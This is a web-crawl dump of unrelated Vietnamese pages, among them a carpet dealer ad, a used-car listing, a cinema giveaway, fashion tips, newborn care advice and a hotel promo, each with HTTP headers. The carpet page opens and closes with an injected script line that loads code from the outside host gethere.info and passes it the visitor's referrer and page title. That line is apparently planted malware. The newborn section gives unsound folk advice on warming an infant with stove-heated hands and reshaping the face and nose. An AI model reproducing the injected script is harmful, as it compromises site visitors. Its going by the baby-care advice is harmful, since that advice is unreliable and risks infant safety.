s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
Comments are closed

markdown:
[Chưa được phân loại](http://yenthai.vn/category/khong-phan-loai/)
## Mua thảm trải sàn tại Vĩnh Phúc
Hiện nay ở Vĩnh Phúc đã có đại lý chi nhánh của Yên Thái, có đầy đủ các loại thảm trải sàn chất lượng tốt giúp khách hàng tiết kiệm thời gian và chi phí khi mua hàng.
Những sản phẩm thảm trải sàn của Yên Thái ở Vĩnh Phúc rất đa dạng và phong phú về mẫu mã, kiểu dáng, họa tiết, hoa văn và có những màu sắc đẹp đẽ, ấn tượng.
**Chất liệu thảm trải sàn của Yên Thái đảm bảo làm hài lòng quý khách hàng, giữ vững uy tín của thương hiệu.**
Bên cạnh đó dịch vụ của chúng tôi tại Vĩnh Phúc rất được tín nhiệm nhờ vào đội ngũ tư vấn và chăm sóc khách hàng nhiệt tình, chu đáo, chúng tôi sẽ hướng dẫn và giải thích tỉ mỉ về các loại thảm trải sàn cho quý khách hàng.
Chúng tôi có những mẫu thảm trải sàn có thể dùng làm thảm trải văn phòng tiện lợi, thảm trải khách sạn sang trọng và tinh tế, thảm trải hội trường chống ồn tuyệt đối hay những tấm thảm trải dành cho gia đình, làm tôn lên nét đẹp và tạo không gian thoải mái, dễ chịu cho căn nhà.
Thảm trải sàn của Yên Thái tại Vĩnh Phúc đáp ứng được yêu cầu về tính thẩm mỹ lẫn yêu cầu chất lượng tốt, giữ ấm, chống ồn,….
Ngoài ra chúng tôi có những sản phẩm với chất liệu chống cháy, chống tĩnh điện rất an toàn và thoải mái, quý khách có thể ghé thăm và tham khảo chi tiết.
Các sản phẩm thảm trải sàn của Yên Thái tại Vĩnh Phúc được chúng tôi cam kết về chất lượng, hình thức và giá cả đã có mặt tai :
Thành phố Vĩnh Yên
Huyện Tam Dương
Huyện Lập Thạch
Huyện Vĩnh Tường
Huyện Yên Lạc
Huyện Bình Xuyên
Huyện Mê Linh
Thị xã Phúc Yên
Huyện Tam Đảo
**Liên hệ với công ty chúng tôi theo địa chỉ sau:**
SỐ 31, NGÕ 59 LÁNG HẠ, P.THÀNH CÔNG, Q.BA ĐÌNH, HÀ NỘI
PHONE: 04. 3 6420 080
HOTLINE: 0902 238 811 – 0983 080 201
EMAIL: contact@yenthai.vn
SKYPE: son.buicao
s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;
Comments are closed

Vary: Accept-Encoding,User-Agent

Link: <http://yenthai.vn/wp-json/>; rel=https://api.w.org/, <http://yenthai.vn/?p=656>; rel=shortlink


text:
Bán xe Toyota Yaris 1.3 2011 cũ.
Xe được sản xuất năm 2011, đã đi 30000 km. Xe sử dụng nhiên liệu xăng. Trang bị nội thất gồm có: Túi khí tài xế, điều hoà, đài AM/FM, thiết bị Audio, iPod/MP3. Ngoại thất gồm có: Mâm xe.
Ngoài ra còn có: Hệ thống trợ lái, hệ thống khoá cửa, cửa sổ chỉnh điện, gương chiếu hậu chỉnh điện. Xe đang có sẵn, giao xe ngay.

markdown:
[Bán xe Toyota Yaris 1.3 2011](/xe-toyota-yaris-1.3-nam-2011-pb) cũ.
Xe được sản xuất năm 2011, đã đi 30000 km. Xe sử dụng nhiên liệu xăng. Trang bị nội thất gồm có: Túi khí tài xế, điều hoà, đài AM/FM, thiết bị Audio, iPod/MP3. Ngoại thất gồm có: Mâm xe.
Ngoài ra còn có: Hệ thống trợ lái, hệ thống khoá cửa, cửa sổ chỉnh điện, gương chiếu hậu chỉnh điện. Xe đang có sẵn, giao xe ngay.

Set-Cookie: BXHSERVERID=B; path=/

X-Frame-Options: SAMEORIGIN


text:
LotteCinema khuyến mãi tặng miễn phí 3 cặp vé xem phim Bangkok 13
Nhân dịp ra mắt bộ phim kinh dị Thái Lan Bangkok 13- là chuyên kinh dị sưu tập từ các địa danh có thật bị ma ám tại Thái Lan. Lotte Cinema Nowzone, HCM triển khai khuyến mãi hấp dẫn. Dành tặng 3 cặp vé xem phim miễn phí cho tất cả các bạn may mắn thực hiện đầy đủ các bước sau
B1: Like & share Poster phim BangKok 13 về tường
B2: Tag thêm 1 người bạn mà bạn muốn xem phim cùng vào
B3: Ngồi … chờ thời gian công bố kết quả
Chỉ cần bỏ ra 5 phút thôi các bạn đã có cơ hội nhận tấm vé xem phim Bangkok 13 hoàn toàn miễn phí rồi đó. Quá đơn giản phải không nào. Còn gì vui bằng khi là người đầu tiên được xem bộ phim này đúng không. Share ngay để cùng thử vận may nhé
Xem Trailer phim http://tinyurl.com/zs5nxjw, khởi chiếu chính thức từ 6.5 tại các rạp trên toàn quốc
Thời Gian khuyến mãi
Hạn chót tham gia: 22:00 tối nay 4.5
Điều kiện khuyến mãi
3 bạn may mắn nhất, mỗi bạn sẽ nhận 1 cặp vé dự buổi công chiếu phim diễn ra vào 19:00 tối mai 5.5 tại Lotte Cinema Nowzone
Liên hệ khuyến mại
Chi tiết chương trình các bạn có thể tham khảo thêm tại: https://www.facebook.com/SavicoMegamall/
Danh sách địa chỉ
Tầng 5 TTTM Nowzone, 235 Nguyễn Văn Cừ, Q1, TPHCM
- Khai trương CGV Hà Nội Centerpoint tặng vé xem phim miễn phí
- Lotte Cinema khuyến mãi đặt vé online mua 3 trả tiền 2
- iFlix Miễn Phí 1 Tháng Xem, Tải Phim Chất Lượng Cao Trên PC, Mobile, TV (trị giá 59.000đ)
- CGV khuyến mãi mua 2 vé xem phim Kong tặng miễn phí 1 combo bắp nước
- Kong – Đảo đầu lâu sẽ được chiếu miễn phí ở Quảng Bình, Ninh Bình

markdown:
# LotteCinema khuyến mãi tặng miễn phí 3 cặp vé xem phim Bangkok 13
Nhân dịp ra mắt bộ phim kinh dị Thái Lan Bangkok 13- là chuyên kinh dị sưu tập từ các địa danh có thật bị ma ám tại Thái Lan. L
**otte Cinema Nowzone, HCM** triển khai khuyến mãi hấp dẫn. Dành ** tặng 3 cặp vé xem phim miễn phí cho tất cả các bạn may mắn thực hiện đầy đủ các bước sau**
B1: Like & share Poster phim BangKok 13 về tường
B2: Tag thêm 1 người bạn mà bạn muốn xem phim cùng vào
B3: Ngồi … chờ thời gian công bố kết quả
Chỉ cần bỏ ra 5 phút thôi các bạn đã có cơ hội nhận tấm vé xem phim Bangkok 13 hoàn toàn miễn phí rồi đó. Quá đơn giản phải không nào. Còn gì vui bằng khi là người đầu tiên được xem bộ phim này đúng không. Share ngay để cùng thử vận may nhé
Xem Trailer phim
[http://tinyurl.com/zs5nxjw](https://chanhtuoi.com/cloaksoutgoinglinks.html?loadpage=aHR0cDovL3Rpbnl1cmwuY29tL3pzNW54anc=), khởi chiếu chính thức từ 6.5 tại các rạp trên toàn quốc
##### Thời Gian khuyến mãi
Hạn chót tham gia: 22:00 tối nay 4.5
##### Điều kiện khuyến mãi
3 bạn may mắn nhất, mỗi bạn sẽ nhận 1 cặp vé dự buổi công chiếu phim diễn ra vào 19:00 tối mai 5.5 tại Lotte Cinema Nowzone
##### Liên hệ khuyến mại
Chi tiết chương trình các bạn có thể tham khảo thêm tại:
[https://www.facebook.com/SavicoMegamall/](http://chanhtuoi.com/cloaksoutgoinglinks.html?loadpage=aHR0cHM6Ly93d3cuZmFjZWJvb2suY29tL1Nhdmljb01lZ2FtYWxsLz9mcmVmPW5m)
##### Danh sách địa chỉ
Tầng 5 TTTM Nowzone, 235 Nguyễn Văn Cừ, Q1, TPHCM
-
[Khai trương CGV Hà Nội Centerpoint tặng vé xem phim miễn phí](https://chanhtuoi.com/khai-truong-cgv-ha-noi-centerpoint-tang-ve-xem-phim-mien-phi.html) [Lotte Cinema khuyến mãi đặt vé online mua 3 trả tiền 2](https://chanhtuoi.com/lotte-cinema-khuyen-mai-dat-ve-online-mua-3-tra-tien-2.html) [iFlix Miễn Phí 1 Tháng Xem, Tải Phim Chất Lượng Cao Trên PC, Mobile, TV (trị giá 59.000đ)](https://chanhtuoi.com/iflix-mien-phi-1-thang-xem-phim-chat-luong-cao.html) [CGV khuyến mãi mua 2 vé xem phim Kong tặng miễn phí 1 combo bắp nước](https://chanhtuoi.com/cgv-khuyen-mai-mua-2-ve-xem-phim-kong-tang-mien-phi-1-combo-bap-nuoc.html) [Kong – Đảo đầu lâu sẽ được chiếu miễn phí ở Quảng Bình, Ninh Bình](https://chanhtuoi.com/kong-dao-dau-lau-se-duoc-chieu-mien-phi-o-quang-binh-ninh-binh.html) ![](https://chanhtuoi.com/wp-content/themes/freshlemon/img/no-avatar.jpg)

Strict-Transport-Security: max-age=63072000; includeSubdomains

X-Frame-Options: DENY


text:
Superheroes Alliance For Android
- Phát hành Uken Games
- Lượt tải 588
- Sử dụng Miễn phí
- Dung lượng 296 KB
- Cập nhật 13/08/2011
- Yêu cầu Android 1.5 and up
Giới thiệu
Superheroes Alliance là thể loại game hành động hoàn toàn miễn phí. Mục đích của trò chơi là trở thành siêu anh hùng vĩ đại nhất.
Vậy bạn cần làm những gì để trở thành một siêu anh hùng vĩ đại? Đó là chiến đấu để cứu những mạng sống vô tội, xây dựng một đế chế của riêng mình. Đem sức mạnh của mình đi bảo vệ hòa bình.
- Mục đích của trò chơi là làm sao để đạt được thứ hạng cao trong số 500k người chơi.
- Hoàn toàn miễn phí.
Lưu ý: Kết nối Internet để chơi.
Tuyết Mai (Theo Android Marke)

markdown:
#
Superheroes Alliance For Android
![](http://i.down.vn/Data/image/mobile/082011/13/Superheroes-Alliance-2.jpg)
-
Phát hành
[Uken Games](http://uken.com/)
- Lượt tải 588
- Sử dụng Miễn phí
- Dung lượng 296 KB
- Cập nhật 13/08/2011
- Yêu cầu Android 1.5 and up
## Giới thiệu
**Superheroes Alliance là thể loại game hành động hoàn toàn miễn phí. Mục đích của trò chơi là trở thành siêu anh hùng vĩ đại nhất.
**
Vậy bạn cần làm những gì để trở thành một siêu anh hùng vĩ đại? Đó là chiến đấu để cứu những mạng sống vô tội, xây dựng một đế chế của riêng mình. Đem sức mạnh của mình đi bảo vệ hòa bình.
- Mục đích của trò chơi là làm sao để đạt được thứ hạng cao trong số 500k người chơi.
- Hoàn toàn miễn phí.
* Kết nối Internet để chơi. Lưu ý:* **Tuyết Mai (Theo Android Marke)**

Cache-Control: private, max-age=907


text:
Trường Vụ
【 Đam mỹ 】
- Chuyện xưa | Yang Wang Tian (On-going)
- Hội chứng sợ yêu | Tiểu Mộc Thôn (Hoàn)
- Ngôi nhà ma ám | Hách Mi Giáo (Hoàn)
.
【 FH tiên sinh hệ liệt 】
- 01 – Quý ngài lảm nhảm | Tiểu Thảo (Hoàn)
- 02 – Quý ngài phấn hồng | Lê Hoa Nguyệt Cung → Ace (On-going)
- 03 – Phát ngoan tiên sinh | Blovez (Hoàn)
- 04 – Phúc hắc tiên sinh | Blovez (Hoàn)
Advertisements

markdown:
**Trường Vụ** **【 Đam mỹ 】
**
- Chuyện xưa |
[Yang Wang Tian](https://yangwangtian.wordpress.com/chuyen-xua-truong-vu/)(On-going)
- Hội chứng sợ yêu |
[Tiểu Mộc Thôn](https://kimurachan.wordpress.com/benh-so-yeu/)(Hoàn)
- Ngôi nhà ma ám |
[Hách Mi Giáo](https://xiaoyan2206.wordpress.com/2014/11/30/ngoi-nha-ma-am-van-an/)(Hoàn)
.
**【 FH tiên sinh hệ liệt 】**
- 01 – Quý ngài lảm nhảm |
[Tiểu Thảo](http://tieuthao.wordpress.com/2011/11/18/quy-ngai-l%E1%BA%A3m-nh%E1%BA%A3m-tr%C6%B0%E1%BB%9Dng-v%E1%BB%A5/)(Hoàn)
- 02 – Quý ngài phấn hồng |
[Lê Hoa Nguyệt Cung](https://lehoanguyetcung.wordpress.com/dam-my-2/dam-my-end/quy-ngai-ph%E1%BA%A5n-h%E1%BB%93ng-on-going/)→ [Ace](https://gososensei.wordpress.com/muc-luc-qui-ngai-phan-hong/)(On-going)
- 03 – Phát ngoan tiên sinh |
[Blovez](http://blovez.wordpress.com/danmei-novel/%E5%8F%91%E7%8B%A0%E5%85%88%E7%94%9F-phat-ngoan-tien-sinh/)(Hoàn)
- 04 – Phúc hắc tiên sinh |
[Blovez](https://blovez.wordpress.com/danmei-novel/da-hoan/%E8%85%B9%E9%BB%91%E5%85%88%E7%94%9F-phuc-h%E1%BA%AFc-tien-sinh/)(Hoàn)
Advertisements

Vary: Cookie

X-hacker: If you're reading this, you should visit automattic.com/jobs and apply to join the fun, mention this header.

X-ac: 1.dca _dca


text:
Guu.vn - Dù có sở hữu một vóc dáng đúng chuẩn hay không nhưng nếu lựa chọn trang phục hay cách phối đồ không phù hợp cũng sẽ khiến bạn trở nên "lạc mốt", sến sẩm và kém thu hút.
Thật may, vẫn có những bí quyết phối đồ cực đơn giản giúp bạn tôn vóc dáng và che khuyết điểm cơ thể một cách hiệu quả đấy. Dưới đây là những bí quyết cực hay dành cho bạn:
Váy bút chì
Có thể nói váy bút chì gần như phù hợp với mọi cô gái. Nó tôn lên vẻ nữ tính và thanh lịch của bạn. Với kiểu dáng ôm hai bên hông xuống đến đùi khiến bạn trông gọn gàng nhưng vô cùng quyến rũ. Đừng lo lắng gì cả, hãy tự tin thể hiện nét hấp dẫn của mình đi nào!
Crop top
Nên chọn những chiếc áo crop top có độ ngắn vừa phải khéo léo che đi phần mỡ bụng xấu xí của bạn nhưng vẫn để lộ hai bên hông rất đẹp. Bên cạnh, những kiểu áo crop top còn khiến chân bạn trông thon và dài hơn. Các cô gái có thể kết hợp chúng với một chiếc quần lưng cao, short hoặc mặc chúng bên ngoài một áo ba lỗ hay áo hai dây ôm.
Quần jogger
Các cô gái đừng coi thường những chiếc quần thun jogger nhé bởi chúng có thể trông giản đơn và có phần nhàm chán nhưng có thể khiến chân bạn trông dài ra đấy. Hãy mặc chúng thấp dưới eo và đảm bảo ống quần luôn nằm ngay mắt cá để có hiệu quả tốt nhất . Bạn có thể kết hợp chúng với một đôi giày cao gót nếu muốn phá cách đôi chút. Dù chân ngắn hay chân dài thì loại trang phục này vẫn rất phù hợp.
Đầm suông
Đây có thể nói là kiểu đầm nịnh dáng nhất vì chẳng có kiểu đầm nào lại có thể phù hợp với mọi vóc dáng như những chiếc đầm suông. Đầm suông vừa thời thượng, đáng yêu và cũng rất nữ tính. Bạn không cần phải lo về những số đo hay khiếm khuyết trên cơ thể mình. Hãy thoải mái lựa chọn chiếc đầm ưng ý và phù hợp với bạn nhất.
Chân váy bất đối xứng
Với các đường xẻ tà hoặc những đường cắt không đối xứng cũng là cách f5 phong cách mới mẻ dành cho bạn. Bạn có thể chọn kiểu chân váy với cách thiết kế này. Rất đơn giản hãy mix cùng cùng áo sơ mi cách điệu hay một chiếc áo thun giản dị.
Blazer không cổ
Những đường nét tinh tế và gọn gàng của áo blazer không cổ sẽ giúp bạn che những khuyết điểm cơ thể cũng như trông sang trọng và phong cách hơn. Tuy nhiên, bạn các gái nên chọn những chiếc áo vừa vặn với cơ thể mình thay vì áo quá rộng hoặc quá ngắn nhé.
Váy xòe ống loe
Cùng với kiểu dáng ôm gọn phần hông của bạn và xòe ra ở phần đuôi, những chiếc váy ống loe giúp phần eo của bạn trông gọn hơn và tạo ảo giác khiến người khác không biết đâu là điểm bắt đầu của chân bạn. Với những bạn gái "nấm lùn" tốt nhất là nên chọn những kiểu váy có độ dài trên đầu gối một chút.
Quần jeans boyfriend
Những chiếc quần boyfriend giúp tôn dáng của bạn hơn là quần skinny jeans. Kiểu dáng rộng và thoải mái của chúng giúp che đi khuyết điểm chân cong hay chân to. Ngoài ra, bạn sẽ trông cực kì cá tính và sành điệu khi diện trang phục này. Đó là lí do kiểu quần này vẫn đang rất hot.
Váy midi
Có thể bạn cho rằng những chiếc váy midi thời trang chỉ phù hợp với các cô nàng chân dài. Tuy nhiên, thực tế cho thấy, miễn là chiếc váy midi của bạn nằm ngay dưới đầu gối, chúng sẽ giúp chân bạn trông dài hơn. Đây là kiểu váy phù hợp với nhiều vóc dáng cơ thể khác nhau.
Co-ords
Không ít cô nàng thường xuyên gặp rắc rối với những chiếc đầm quá chật eo. Đừng lo, những bộ co-ords chính là vị "cứu tinh" dành cho bạn. Với kiểu dáng tách biệt giữa phần áo và váy, chúng cho bạn cảm giác thoải mái tuyệt vời mà không cần phải hóp bụng hay kiêng ăn như những kiểu đầm khác mà vẫn rất thời trang đấy.
Áo sơ mi
Đây có thể nói là một trong những items cơ bản nhất mà bất cứ tín đồ thời trang nào cũng có trong tủ đồ. Trang phục này vô cùng dễ mặc, kết hợp được với nhiều phong cách, phù hợp với nhiều độ tuổi và dáng người. Cho dù mix cùng quần tây, quần jeans, quần short, chân váy... áo sơ mi đều mang đến cho người mặc vẻ đẹp thanh lịch, trẻ trung dù là đi làm hay dạo phố.
Những trang phục đẹp nhất là khi chúng hợp mốt nhưng vẫn phải phù hợp và tôn dáng. Hy vọng những gợi ý trên đây sẽ giúp bạn bổ sung thêm những kiến thức thời trang thú vị cho mình.
Theo: Bestie
Thấy hay thì LIKE ngay!
Xem phiên bản máy tính

X-Powered-By: Guu Caching System

Accept-Ranges: bytes


text:
Xông hơ và Massage cho Bé
Chúc mừng bạn đã vượt cạn thành công! Chúc mừng “Mẹ tròn con vuông” và đặc biệt là chúc mừng “Mẹ Đẹp Bé Khỏe” – hạnh phúc bền lâu.
Chắc hẳn lúc này, vòng tay của Mẹ, nhất là người Mẹ lần đầu có con, vẫn còn lỏng lẽo, vẫn còn lúng túng lắm! Nếu như lúc mang thai bạn lo lắng mong chờ một phần thì lúc này bạn hạnh phúc, bối rối, luống cuống với cả đôi tay của chính mình gấp nhiều phần hơn thế nữa! Bé có đủ ấm không? Bé có đủ no không? Sữa Mẹ có đủ nhiều không? Không biết có bao nhiêu câu hỏi mà cho dù trước đây bạn có tìm hiểu kĩ bao nhiêu, nhiều bao nhiêu thì bây giờ dường như bạn vẫn cảm thấy thiếu, bạn cần hỏi 1 ai đó, bạn cần nghe thêm 1 ai đó, bạn cần biết có bao nhiêu người giống như bạn, họ đã làm thế nào … Hãy chia sẻ với Mẹ Đẹp Bé Khỏe, hãy để chúng tôi, những người đã từng làm cha mẹ, những người có con trai, con gái, những người có chuyên môn và cập nhật kiến thức từ rất nhiều nguồn (không chỉ riêng sách vở) đồng hành cùng bạn! Vâng, chúng tôi sẽ đồng hành cùng các bạn như chúng tôi đã và đang làm những gì tốt đẹp nhất cho trẻ em Việt Nam, cho một thế hệ mới ở Việt Nam.
Mẹ Đẹp Bé Khỏe rất tự hào cùng bạn bắt đầu hành trình chăm sóc bé yêu ngay từ những ngày đầu này.
Vấn đề cần quan tâm tiếp theo khi chăm sóc một em bé sơ sinh ngay từ ngày đầu tiên là: Xông hơ và Massage
Một ngày hơ nhiều lần cho bé. Hơ bàn tay mình nóng lên vừa phải trên bếp điện hoặc lò sưởi điện.
Dùng 2 ngón tay kẹp sống mũi vuốt hướng lên trên cho bé được ấm mũi, dân gian còn cho rằng sẽ giúp mũi cao thêm.
Áp bàn tay nóng vào ngực, bụng hơ nóng cho bé.
Khuôn mặt bé bị lệch do khi ngủ không đổi chiều… hai bàn tay hơ nóng sửa dần cho khuôn mặt bé sơ sinh.
Có thể kết hợp các động tác massage toàn thân cho bé (cởi toàn bộ tã lót và quần áo bé), vào lúc trời nắng ấm vừa phải, tốt nhất là khoảng 8 – 9 AM, làm mỗi ngày 1 – 2 lần, mỗi lần khoảng 20 phút (trong tháng đầu sau khi sinh thì chỉ massage khoảng 10 phút):
– Đầu: xoa tròn trên đỉnh đầu, vuốt từ trên đỉnh đầu xuống 2 tai và xuống gáy phía sau.
– Cánh tay: vuốt thẳng phía trước theo chiều từ trên xuống, ở phía sau thì xoa xoáy tay nhẹ từ vai xuống.
– Bàn tay: dùng ngón tay cái xoa 2 bàn tay bé, vuốt đều 4 ngón tay dài của bé, để cho bé nắm trọn cà ngón cái của mẹ, mẹ dùng 4 ngón tay còn lại bóp nhẹ bàn tay bé.
– Bụng: xoa tròn xung quanh vùng bụng, rún.
– Thân phía trước: vuốt thẳng tử trên cổ xuống 2 tay và 2 chân.
– Lưng: xoa và xoáy nhẹ bàn tay 2 bên cột sống từ trên cổ xuống mông.
– Chân: vuốt theo hướng từ mông xuống gót chân.
– Thân phía sau: vuốt thẳng từ trên đầu xuống mông.
– Riêng bé gái thì cần chú ý hơ bướm được tin là để nhỏ gọn, xinh, hơ bướm tranh thủ hơ bụng để bụng bé được luôn ấm.
Phản hồi

markdown:
## Xông hơ và Massage cho Bé
Chúc mừng bạn đã vượt cạn thành công! Chúc mừng “Mẹ tròn con vuông” và đặc biệt là chúc mừng
[ – hạnh phúc bền lâu. “Mẹ Đẹp Bé Khỏe”](http://www.medepbekhoe.com/)
Chắc hẳn lúc này, vòng tay của Mẹ, nhất là người Mẹ lần đầu có con, vẫn còn lỏng lẽo, vẫn còn lúng túng lắm! Nếu như lúc mang thai bạn lo lắng mong chờ một phần thì lúc này bạn hạnh phúc, bối rối, luống cuống với cả đôi tay của chính mình gấp nhiều phần hơn thế nữa! Bé có đủ ấm không? Bé có đủ no không? Sữa Mẹ có đủ nhiều không? Không biết có bao nhiêu câu hỏi mà cho dù trước đây bạn có tìm hiểu kĩ bao nhiêu, nhiều bao nhiêu thì bây giờ dường như bạn vẫn cảm thấy thiếu, bạn cần hỏi 1 ai đó, bạn cần nghe thêm 1 ai đó, bạn cần biết có bao nhiêu người giống như bạn, họ đã làm thế nào … Hãy chia sẻ với Mẹ Đẹp Bé Khỏe, hãy để chúng tôi, những người đã từng làm cha mẹ, những người có con trai, con gái, những người có chuyên môn và cập nhật kiến thức từ rất nhiều nguồn (không chỉ riêng sách vở) đồng hành cùng bạn! Vâng, chúng tôi sẽ đồng hành cùng các bạn như chúng tôi đã và đang làm những gì tốt đẹp nhất cho trẻ em Việt Nam, cho một thế hệ mới ở Việt Nam.
[ rất tự hào cùng bạn bắt đầu hành trình chăm sóc bé yêu ngay từ những ngày đầu này. Mẹ Đẹp Bé Khỏe](http://www.medepbekhoe.com/)
Vấn đề cần quan tâm tiếp theo khi chăm sóc một em bé sơ sinh ngay từ ngày đầu tiên là:
**Xông hơ và Massage**
Một ngày hơ nhiều lần cho bé. Hơ bàn tay mình nóng lên vừa phải trên bếp điện hoặc lò sưởi điện.
Dùng 2 ngón tay kẹp sống mũi vuốt hướng lên trên cho bé được ấm mũi, dân gian còn cho rằng sẽ giúp mũi cao thêm.
Áp bàn tay nóng vào ngực, bụng hơ nóng cho bé.
Khuôn mặt bé bị lệch do khi ngủ không đổi chiều… hai bàn tay hơ nóng sửa dần cho khuôn mặt bé sơ sinh.
Có thể kết hợp các động tác massage toàn thân cho bé (cởi toàn bộ tã lót và quần áo bé), vào lúc trời nắng ấm vừa phải, tốt nhất là khoảng 8 – 9 AM, làm mỗi ngày 1 – 2 lần, mỗi lần khoảng 20 phút (trong tháng đầu sau khi sinh thì chỉ massage khoảng 10 phút):
– Đầu: xoa tròn trên đỉnh đầu, vuốt từ trên đỉnh đầu xuống 2 tai và xuống gáy phía sau.
– Cánh tay: vuốt thẳng phía trước theo chiều từ trên xuống, ở phía sau thì xoa xoáy tay nhẹ từ vai xuống.
– Bàn tay: dùng ngón tay cái xoa 2 bàn tay bé, vuốt đều 4 ngón tay dài của bé, để cho bé nắm trọn cà ngón cái của mẹ, mẹ dùng 4 ngón tay còn lại bóp nhẹ bàn tay bé.
– Bụng: xoa tròn xung quanh vùng bụng, rún.
– Thân phía trước: vuốt thẳng tử trên cổ xuống 2 tay và 2 chân.
– Lưng: xoa và xoáy nhẹ bàn tay 2 bên cột sống từ trên cổ xuống mông.
– Chân: vuốt theo hướng từ mông xuống gót chân.
– Thân phía sau: vuốt thẳng từ trên đầu xuống mông.
[– Riêng bé gái thì cần chú ý hơ bướm được tin là để nhỏ gọn, xinh, hơ bướm tranh thủ hơ bụng để bụng bé được luôn ấm.](https://medepbekhoe.files.wordpress.com/2011/05/2-tr-7.jpg)
## Phản hồi Hủy trả lời

Link: <http://wp.me/p1wxVk-39>; rel=shortlink


text:
Trong giai đoạn 2016 – 2020, tỉnh Thừa Thiên – Huế sẽ ưu tiên huy động nguồn lực để đầu tư các dự án hạ tầng phát triển kinh tế như: xây dựng và phát triển đô thị Huế; dự án thuộc đề án “Phát triển kinh tế – xã …Xem chi tiết »
Trong giai đoạn 2016 – 2020, tỉnh Thừa Thiên – Huế sẽ ưu tiên huy động nguồn lực để đầu tư các dự án hạ tầng phát triển kinh tế như: xây dựng và phát triển đô thị Huế; dự án thuộc đề án “Phát triển kinh tế – xã …Xem chi tiết »

markdown:
Trong giai đoạn 2016 – 2020, tỉnh Thừa Thiên – Huế sẽ ưu tiên huy động nguồn lực để đầu tư các dự án hạ tầng phát triển kinh tế như: xây dựng và phát triển đô thị Huế; dự án thuộc đề án “Phát triển kinh tế – xã …
[Xem chi tiết »](https://muabanthangmay.com/lap-dat-thang-may-cho-khach-gia-re-tai-hue/)
Trong giai đoạn 2016 – 2020, tỉnh Thừa Thiên – Huế sẽ ưu tiên huy động nguồn lực để đầu tư các dự án hạ tầng phát triển kinh tế như: xây dựng và phát triển đô thị Huế; dự án thuộc đề án “Phát triển kinh tế – xã …

Server: cloudflare-nginx

X-CDN: Incapsula

X-Powered-By: VPSSIM


text:
Với hơn 5.000 khách sạn, resort tại 63 tỉnh/ thành phố, Mytour ngày càng được du khách tin dùng để đặt khách sạn. Mytour sẽ hỗ trợ quý khách đặt khách sạn Cầu Rồng với chi phí hợp lý để có chuyến đi thật thú vị và tiết kiệm. Ngoài việc cung cấp những khách sạn giá tốt nhất, bạn còn có thể tìm thấy nhiều thông tin du lịch hữu ích và thú vị khác.
Đặt phòng khách sạn Cầu Rồng giá tốt nhất tại Mytour.vn, với nhiều khuyến mãi từ website và đơn vị khách sạn tiết kiệm lên đến 70%. Hơn 150.000 đánh giá từ khách hàng đã qua sử dụng khách sạn giúp bạn đưa ra những quyết định tốt nhất cho lựa chọn của mình. Đặc biệt chính sách ĐẢM BẢO HOÀN TIỀN chỉ có tại Mytour.vn, giờ đây bạn có thể hoàn toàn tin tưởng vào dịch vụ đặt phòng trực tuyến.
Cầu Rồng là cây cầu thứ 7 và là cây cầu mới nhất, hiện đại nhất bắc qua sông Hàn, sở dĩ cây cầu này có tên cầu rồng vì hình dáng giống con rồng với chiều dài 666m, rộng 37.5m và 6 làn xe chạy. Đây là cửa ngõ giao thông của thành phố để đi ra sân bay Đà Nẵng và ra những con đường chính trong thành phố.
Với địa thế thuận lợi của mình, từ Cầu Rồng du khách có thể tới tham quan nhiều địa danh du lịch, di tích lịch sử và danh lam thắng cảnh nổi tiếng nơi đây như: bãi biển Non Nước, bãi biển Mỹ Khê, cảng Tiên Sa, bãi biển Sơn Trà… với những cảnh đẹp độc đáo, hoang sơ và cực kỳ thu hút, nơi đây đang dần trở thành điểm đến yêu thích của du khách trong và ngoài nước.
Du lịch Cầu Rồng bạn sẽ có cơ hội được thưởng ngoạn cảnh sông nước, phong thủy hữu tình, được khám phá về phong tục tập quán và con người nơi đây. Được thưởng thức những món ăn vô cùng đặc sắc, với hương vị rất đặc trưng, chỉ nơi đây mới có.
Ngoài ra, khi đặt tour Cầu Rồng qua hệ thống trực tuyến của mytour, bạn sẽ được đội ngũ tư vấn viên của mytour được tư vấn tận tình về phòng khách sạn, nơi ăn chốn ở, những điểm du lịch không nên bỏ qua, và những món đặc sản nên thưởng thức khi tới đây.
Bạn còn chần chừ gì nữa, hãy nhanh tay đặt phòng khách sạn Cầu Rồng qua hệ thống trực tuyến của mytour để hưởng những ưu đãi lớn từ mytour và tận hưởng kỳ nghỉ trọn vẹn, ý nghĩa và khó quên bên người thân và bạn bè bạn bạn nhé!

markdown:
Với hơn 5.000 khách sạn, resort tại 63 tỉnh/ thành phố, Mytour ngày càng được du khách tin dùng để đặt khách sạn. Mytour sẽ hỗ trợ quý khách đặt khách sạn
**Cầu Rồng **với chi phí hợp lý để có chuyến đi thật thú vị và tiết kiệm. Ngoài việc cung cấp những khách sạn giá tốt nhất, bạn còn có thể tìm thấy nhiều thông tin du lịch hữu ích và thú vị khác. **Đ** **ặt phòng khách sạn Cầu Rồng **giá tốt nhất tại Mytour.vn, với nhiều khuyến mãi từ website và đơn vị khách sạn tiết kiệm lên đến 70%. Hơn 150.000 đánh giá từ khách hàng đã qua sử dụng khách sạn giúp bạn đưa ra những quyết định tốt nhất cho lựa chọn của mình. Đặc biệt chính sách [ĐẢM BẢO HOÀN TIỀN](http://mytour.vn/news/112569-dat-phong-khach-san-truc-tuyen-an-toan-voi-chinh-sach-dam-bao-hoan-tien-tu-mytour.html) chỉ có tại Mytour.vn, giờ đây bạn có thể hoàn toàn tin tưởng vào dịch vụ đặt phòng trực tuyến. **Cầu Rồng** là cây cầu thứ 7 và là cây cầu mới nhất, hiện đại nhất bắc qua sông Hàn, sở dĩ cây cầu này có tên cầu rồng vì hình dáng giống con rồng với chiều dài 666m, rộng 37.5m và 6 làn xe chạy. Đây là cửa ngõ giao thông của thành phố để đi ra sân bay Đà Nẵng và ra những con đường chính trong thành phố.
Với địa thế thuận lợi của mình, từ
